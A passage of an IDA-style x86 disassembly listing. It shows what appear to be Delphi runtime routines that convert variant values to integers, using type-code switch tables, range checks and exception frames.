sub edx, 7FFDFFFBh
jnz short loc_4000EC71
jmp short loc_4000EC7D
; ---------------------------------------------------------------------------
loc_4000EC48: ; CODE XREF: sub_4000EBF8+44j
lea eax, [ebp+var_C]
mov edx, [ebp+var_4]
call sub_40004B0C
mov eax, [ebp+var_C]
lea edx, [ebp+var_8]
call sub_40007DEC
test al, al
jnz short loc_4000EC7D
mov eax, ebx
call sub_4000FE58
and eax, 7Fh
mov [ebp+var_8], eax
jmp short loc_4000EC7D
; ---------------------------------------------------------------------------
loc_4000EC71: ; CODE XREF: sub_4000EBF8+4Cj
movzx edx, word ptr [ebx]
mov cx, 3
call sub_4000E034
loc_4000EC7D: ; CODE XREF: sub_4000EBF8+4Ej
; sub_4000EBF8+68j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000ECA2
loc_4000EC8A: ; CODE XREF: sub_4000EBF8+A8j
lea eax, [ebp+var_C]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_4000EC9B: ; DATA XREF: sub_4000EBF8+Fo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000EC8A
; ---------------------------------------------------------------------------
loc_4000ECA2: ; CODE XREF: sub_4000EBF8+A2j
; DATA XREF: sub_4000EBF8+8Do
mov eax, [ebp+var_8]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000EBF8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000ECAC proc near ; CODE XREF: sub_4000ED90+1F0p
; sub_4000ED90+3F3p ...
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
push ebx
add esp, 0FFFFFFF0h
mov ebx, eax
push esp
call sub_4000CDD8
push 3
push 0
push 400h
push ebx
lea eax, [esp+24h+var_14]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 3
call sub_4000E034
mov eax, [esp+14h+var_C]
add esp, 10h
pop ebx
retn
sub_4000ECAC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000ECE8 proc near ; CODE XREF: sub_4000ED90+223p
var_14 = byte ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
mov ebx, eax
lea eax, [ebp+var_14]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_4000ED3C
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_14]
call sub_4000E700
lea eax, [ebp+var_14]
call ds:off_4001F29C
lea eax, [ebp+var_14]
call sub_4000ED90
mov [ebp+var_4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000ED43
loc_4000ED33: ; CODE XREF: sub_4000ECE8+59j
lea eax, [ebp+var_14]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_4000ED3C: ; DATA XREF: sub_4000ECE8+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000ED33
; ---------------------------------------------------------------------------
loc_4000ED43: ; CODE XREF: sub_4000ECE8+53j
; DATA XREF: sub_4000ECE8+46o
mov eax, [ebp+var_4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000ECE8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000ED4C proc near ; CODE XREF: sub_4000ED90+403p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
push ebx
push esi
push edi
add esp, 0FFFFFFECh
mov edi, edx
mov esi, eax
mov edx, esp
movzx eax, word ptr [esi]
call sub_40012D98
mov ebx, eax
test bl, bl
jz short loc_4000ED87
lea eax, [esp+20h+var_1C]
push eax
call sub_4000CDD8
push 3
mov ecx, esi
lea edx, [esp+24h+var_1C]
mov eax, [esp+24h+var_20]
mov esi, [eax]
call dword ptr [esi+1Ch]
mov eax, [esp+20h+var_14]
mov [edi], eax
loc_4000ED87: ; CODE XREF: sub_4000ED4C+18j
mov eax, ebx
add esp, 14h
pop edi
pop esi
pop ebx
retn
sub_4000ED4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000ED90 proc near ; CODE XREF: sub_4000E9CC+E7p
; sub_4000ECE8+36p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov [ebp+var_4], eax
xor edx, edx
push ebp
push offset loc_4000F1B1
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_4000EF8D ; default
; jumptable 4000EDBC cases 10,14,15
jmp ds:off_4000EDC3[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_4000EDC3 dd offset loc_4000EE17 ; DATA XREF: sub_4000ED90+2Cr
dd offset loc_4000EE21 ; jump table for switch statement
dd offset loc_4000EE41
dd offset loc_4000EE50
dd offset loc_4000EE5E
dd offset loc_4000EE7F
dd offset loc_4000EEA0
dd offset loc_4000EEC7
dd offset loc_4000EEE8
dd offset loc_4000EF7D
dd offset loc_4000EF8D
dd offset loc_4000EEF8
dd offset loc_4000EF6A
dd offset loc_4000EF7D
dd offset loc_4000EF8D
dd offset loc_4000EF8D
dd offset loc_4000EF07
dd offset loc_4000EF16
dd offset loc_4000EF25
dd offset loc_4000EF34
dd offset loc_4000EF4B
; ---------------------------------------------------------------------------
loc_4000EE17: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
xor eax, eax ; jumptable 4000EDBC case 0
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EE21: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
cmp byte_4001AA10, 0 ; jumptable 4000EDBC case 1
jz short loc_4000EE37
mov dx, 3
mov ax, 1
call sub_4000DBF4
loc_4000EE37: ; CODE XREF: sub_4000ED90+98j
xor eax, eax
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EE41: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 2
movsx eax, word ptr [eax+8]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EE50: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 3
mov eax, [eax+8]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EE5E: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 4
fld dword ptr [eax+8]
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000EE77
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000EE77: ; CODE XREF: sub_4000ED90+E0j
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EE7F: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 5
fld qword ptr [eax+8]
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000EE98
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000EE98: ; CODE XREF: sub_4000ED90+101j
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EEA0: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 6
fild qword ptr [eax+8]
fdiv ds:flt_4000F1DC
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000EEBF
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000EEBF: ; CODE XREF: sub_4000ED90+128j
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EEC7: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 7
fld qword ptr [eax+8]
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000EEE0
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000EEE0: ; CODE XREF: sub_4000ED90+149j
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EEE8: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 8
call sub_4000EBF8
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EEF8: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 11
movsx eax, word ptr [eax+8]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF07: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 16
movsx eax, byte ptr [eax+8]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF16: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 17
movzx eax, byte ptr [eax+8]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF25: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 18
movzx eax, word ptr [eax+8]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF34: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 19
mov eax, [eax+8]
test eax, eax
jns short loc_4000EF43
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000EF43: ; CODE XREF: sub_4000ED90+1ACj
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF4B: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 20
mov edx, [eax+0Ch]
mov eax, [eax+8]
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000EF62
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000EF62: ; CODE XREF: sub_4000ED90+1CBj
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF6A: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC case 12
mov eax, [eax+8]
call sub_4000ED90
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF7D: ; CODE XREF: sub_4000ED90+2Cj
; DATA XREF: sub_4000ED90:off_4000EDC3o
mov eax, [ebp+var_4] ; jumptable 4000EDBC cases 9,13
call sub_4000ECAC
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EF8D: ; CODE XREF: sub_4000ED90+26j
; sub_4000ED90+2Cj
; DATA XREF: ...
mov edx, [ebp+var_4] ; default
; jumptable 4000EDBC cases 10,14,15
mov edx, eax
sub dx, 100h
jz short loc_4000EFA0
dec dx
jz short loc_4000EFB0
jmp short loc_4000EFC0
; ---------------------------------------------------------------------------
loc_4000EFA0: ; CODE XREF: sub_4000ED90+207j
mov eax, [ebp+var_4]
call sub_4000EBF8
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EFB0: ; CODE XREF: sub_4000ED90+20Cj
mov eax, [ebp+var_4]
call sub_4000ECE8
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000EFC0: ; CODE XREF: sub_4000ED90+20Ej
mov edx, [ebp+var_4]
test ah, 40h
jz loc_4000F18D
mov edx, [ebp+var_4]
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_4000F180 ; default
; jumptable 4000EFE0 cases 0,1,9,10,13-15
jmp ds:off_4000EFE7[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_4000EFE7 dd offset loc_4000F180 ; DATA XREF: sub_4000ED90+250r
dd offset loc_4000F180 ; jump table for switch statement
dd offset loc_4000F03B
dd offset loc_4000F04C
dd offset loc_4000F05C
dd offset loc_4000F07F
dd offset loc_4000F0A2
dd offset loc_4000F0CB
dd offset loc_4000F0EE
dd offset loc_4000F180
dd offset loc_4000F180
dd offset loc_4000F0FE
dd offset loc_4000F170
dd offset loc_4000F180
dd offset loc_4000F180
dd offset loc_4000F180
dd offset loc_4000F10F
dd offset loc_4000F120
dd offset loc_4000F12E
dd offset loc_4000F13C
dd offset loc_4000F152
; ---------------------------------------------------------------------------
loc_4000F03B: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 2
mov eax, [eax+8]
movsx eax, word ptr [eax]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F04C: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 3
mov eax, [eax+8]
mov eax, [eax]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F05C: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 4
mov eax, [eax+8]
fld dword ptr [eax]
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000F077
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F077: ; CODE XREF: sub_4000ED90+2E0j
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F07F: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 5
mov eax, [eax+8]
fld qword ptr [eax]
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000F09A
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F09A: ; CODE XREF: sub_4000ED90+303j
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F0A2: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 6
mov eax, [eax+8]
fild qword ptr [eax]
fdiv ds:flt_4000F1DC
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000F0C3
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F0C3: ; CODE XREF: sub_4000ED90+32Cj
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F0CB: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 7
mov eax, [eax+8]
fld qword ptr [eax]
call sub_400030A8
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000F0E6
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F0E6: ; CODE XREF: sub_4000ED90+34Fj
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F0EE: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 8
call sub_4000EBF8
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F0FE: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 11
mov eax, [eax+8]
movsx eax, word ptr [eax]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F10F: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 16
mov eax, [eax+8]
movsx eax, byte ptr [eax]
mov [ebp+var_8], eax
jmp loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F120: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 17
mov eax, [eax+8]
movzx eax, byte ptr [eax]
mov [ebp+var_8], eax
jmp short loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F12E: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 18
mov eax, [eax+8]
movzx eax, word ptr [eax]
mov [ebp+var_8], eax
jmp short loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F13C: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 19
mov eax, [eax+8]
mov eax, [eax]
test eax, eax
jns short loc_4000F14D
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F14D: ; CODE XREF: sub_4000ED90+3B6j
mov [ebp+var_8], eax
jmp short loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F152: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 20
mov eax, [eax+8]
mov edx, [eax+4]
mov eax, [eax]
push eax
sar eax, 1Fh
cmp eax, edx
pop eax
jz short loc_4000F16B
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F16B: ; CODE XREF: sub_4000ED90+3D4j
mov [ebp+var_8], eax
jmp short loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F170: ; CODE XREF: sub_4000ED90+250j
; DATA XREF: sub_4000ED90:off_4000EFE7o
mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 12
mov eax, [eax+8]
call sub_4000ED90
mov [ebp+var_8], eax
jmp short loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F180: ; CODE XREF: sub_4000ED90+24Aj
; sub_4000ED90+250j
; DATA XREF: ...
mov eax, [ebp+var_4] ; default
; jumptable 4000EFE0 cases 0,1,9,10,13-15
call sub_4000ECAC
mov [ebp+var_8], eax
jmp short loc_4000F1A7
; ---------------------------------------------------------------------------
loc_4000F18D: ; CODE XREF: sub_4000ED90+236j
lea edx, [ebp+var_8]
mov eax, [ebp+var_4]
call sub_4000ED4C
test al, al
jnz short loc_4000F1A7
mov eax, [ebp+var_4]
call sub_4000ECAC
mov [ebp+var_8], eax
loc_4000F1A7: ; CODE XREF: sub_4000ED90+8Cj
; sub_4000ED90+ACj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000F1CF
; ---------------------------------------------------------------------------
loc_4000F1B1: ; DATA XREF: sub_4000ED90+Fo
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 3
call sub_4000E068
xor eax, eax
mov [ebp+var_8], eax
call sub_40004360
loc_4000F1CF: ; CODE XREF: sub_4000ED90+41Fj
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_4000ED90 endp
; ---------------------------------------------------------------------------
align 4
flt_4000F1DC dd 1.0e4 ; DATA XREF: sub_4000ED90+116r
; sub_4000ED90+31Ar
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F1E0 proc near ; CODE XREF: sub_4000E9CC+187p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
sub ax, 1
jb short loc_4000F206
jz short loc_4000F20A
sub ax, 0Ah
jz short loc_4000F224
sub ax, 5
jz short loc_4000F22D
jmp short loc_4000F236
; ---------------------------------------------------------------------------
loc_4000F206: ; CODE XREF: sub_4000F1E0+14j
xor ebx, ebx
jmp short loc_4000F289
; ---------------------------------------------------------------------------
loc_4000F20A: ; CODE XREF: sub_4000F1E0+16j
cmp byte_4001AA10, 0
jz short loc_4000F220
mov dx, 10h
mov ax, 1
call sub_4000DBF4
loc_4000F220: ; CODE XREF: sub_4000F1E0+31j
xor ebx, ebx
jmp short loc_4000F289
; ---------------------------------------------------------------------------
loc_4000F224: ; CODE XREF: sub_4000F1E0+1Cj
mov ebx, [ebp+var_4]
movzx ebx, byte ptr [ebx+8]
jmp short loc_4000F289
; ---------------------------------------------------------------------------
loc_4000F22D: ; CODE XREF: sub_4000F1E0+22j
mov ebx, [ebp+var_4]
movzx ebx, byte ptr [ebx+8]
jmp short loc_4000F289
; ---------------------------------------------------------------------------
loc_4000F236: ; CODE XREF: sub_4000F1E0+24j
xor eax, eax
push ebp
push offset loc_4000F26E
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
call sub_4000ED90
mov ebx, eax
add ebx, 80h
cmp ebx, 0FFh
jbe short loc_4000F261
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F261: ; CODE XREF: sub_4000F1E0+7Aj
add ebx, 0FFFFFF80h
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000F289
; ---------------------------------------------------------------------------
loc_4000F26E: ; DATA XREF: sub_4000F1E0+59o
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 10h
call sub_4000E068
xor ebx, ebx
call sub_40004360
loc_4000F289: ; CODE XREF: sub_4000F1E0+28j
; sub_4000F1E0+42j ...
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4000F1E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F294 proc near ; CODE XREF: sub_4000E9CC+19Cp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
sub ax, 1
jb short loc_4000F2BA
jz short loc_4000F2BE
sub ax, 0Ah
jz short loc_4000F2D8
sub ax, 6
jz short loc_4000F2E1
jmp short loc_4000F2EA
; ---------------------------------------------------------------------------
loc_4000F2BA: ; CODE XREF: sub_4000F294+14j
xor ebx, ebx
jmp short loc_4000F334
; ---------------------------------------------------------------------------
loc_4000F2BE: ; CODE XREF: sub_4000F294+16j
cmp byte_4001AA10, 0
jz short loc_4000F2D4
mov dx, 11h
mov ax, 1
call sub_4000DBF4
loc_4000F2D4: ; CODE XREF: sub_4000F294+31j
xor ebx, ebx
jmp short loc_4000F334
; ---------------------------------------------------------------------------
loc_4000F2D8: ; CODE XREF: sub_4000F294+1Cj
mov ebx, [ebp+var_4]
movzx ebx, byte ptr [ebx+8]
jmp short loc_4000F334
; ---------------------------------------------------------------------------
loc_4000F2E1: ; CODE XREF: sub_4000F294+22j
mov ebx, [ebp+var_4]
movzx ebx, byte ptr [ebx+8]
jmp short loc_4000F334
; ---------------------------------------------------------------------------
loc_4000F2EA: ; CODE XREF: sub_4000F294+24j
xor eax, eax
push ebp
push offset loc_4000F319
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
call sub_4000ED90
mov ebx, eax
cmp ebx, 0FFh
jbe short loc_4000F30F
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F30F: ; CODE XREF: sub_4000F294+74j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000F334
; ---------------------------------------------------------------------------
loc_4000F319: ; DATA XREF: sub_4000F294+59o
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 11h
call sub_4000E068
xor ebx, ebx
call sub_40004360
loc_4000F334: ; CODE XREF: sub_4000F294+28j
; sub_4000F294+42j ...
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4000F294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F33C proc near ; CODE XREF: sub_4000E9CC+D2p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
cmp eax, 11h ; switch 18 cases
ja loc_4000F3D6 ; default
; jumptable 4000F35C cases 3-10,12-15
movzx eax, ds:byte_4000F363[eax]
jmp ds:off_4000F375[eax*4] ; switch jump
; ---------------------------------------------------------------------------
byte_4000F363 db 1, 2, 3, 0 ; DATA XREF: sub_4000F33C+19r
db 0, 0, 0, 0 ; indirect table for switch statement
db 0, 0, 0, 4
db 0, 0, 0, 0
db 5, 6
off_4000F375 dd offset loc_4000F3D6 ; DATA XREF: sub_4000F33C+20r
dd offset loc_4000F391 ; jump table for switch statement
dd offset loc_4000F398
dd offset loc_4000F3B2
dd offset loc_4000F3BB
dd offset loc_4000F3C4
dd offset loc_4000F3CD
; ---------------------------------------------------------------------------
loc_4000F391: ; CODE XREF: sub_4000F33C+20j
; DATA XREF: sub_4000F33C:off_4000F375o
xor ebx, ebx ; jumptable 4000F35C case 0
jmp loc_4000F42C
; ---------------------------------------------------------------------------
loc_4000F398: ; CODE XREF: sub_4000F33C+20j
; DATA XREF: sub_4000F33C:off_4000F375o
cmp byte_4001AA10, 0 ; jumptable 4000F35C case 1
jz short loc_4000F3AE
mov dx, 2
mov ax, 1
call sub_4000DBF4
loc_4000F3AE: ; CODE XREF: sub_4000F33C+63j
xor ebx, ebx
jmp short loc_4000F42C
; ---------------------------------------------------------------------------
loc_4000F3B2: ; CODE XREF: sub_4000F33C+20j
; DATA XREF: sub_4000F33C:off_4000F375o
mov ebx, [ebp+var_4] ; jumptable 4000F35C case 2
movzx ebx, word ptr [ebx+8]
jmp short loc_4000F42C
; ---------------------------------------------------------------------------
loc_4000F3BB: ; CODE XREF: sub_4000F33C+20j
; DATA XREF: sub_4000F33C:off_4000F375o
mov ebx, [ebp+var_4] ; jumptable 4000F35C case 11
movzx ebx, word ptr [ebx+8]
jmp short loc_4000F42C
; ---------------------------------------------------------------------------
loc_4000F3C4: ; CODE XREF: sub_4000F33C+20j
; DATA XREF: sub_4000F33C:off_4000F375o
mov ebx, [ebp+var_4] ; jumptable 4000F35C case 16
movsx ebx, byte ptr [ebx+8]
jmp short loc_4000F42C
; ---------------------------------------------------------------------------
loc_4000F3CD: ; CODE XREF: sub_4000F33C+20j
; DATA XREF: sub_4000F33C:off_4000F375o
mov ebx, [ebp+var_4] ; jumptable 4000F35C case 17
movzx ebx, byte ptr [ebx+8]
jmp short loc_4000F42C
; ---------------------------------------------------------------------------
loc_4000F3D6: ; CODE XREF: sub_4000F33C+13j
; sub_4000F33C+20j
; DATA XREF: ...
xor eax, eax ; default
; jumptable 4000F35C cases 3-10,12-15
push ebp
push offset loc_4000F411
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
call sub_4000ED90
mov ebx, eax
add ebx, 8000h
cmp ebx, 0FFFFh
jbe short loc_4000F401
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F401: ; CODE XREF: sub_4000F33C+BEj
add ebx, 0FFFF8000h
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000F42C
; ---------------------------------------------------------------------------
loc_4000F411: ; DATA XREF: sub_4000F33C+9Do
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 2
call sub_4000E068
xor ebx, ebx
call sub_40004360
loc_4000F42C: ; CODE XREF: sub_4000F33C+57j
; sub_4000F33C+74j ...
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4000F33C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F434 proc near ; CODE XREF: sub_4000E9CC+1AEp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
cmp eax, 12h ; switch 19 cases
ja short loc_4000F4BB ; default
; jumptable 4000F450 cases 2-10,12-16
movzx eax, ds:byte_4000F457[eax]
jmp ds:off_4000F46A[eax*4] ; switch jump
; ---------------------------------------------------------------------------
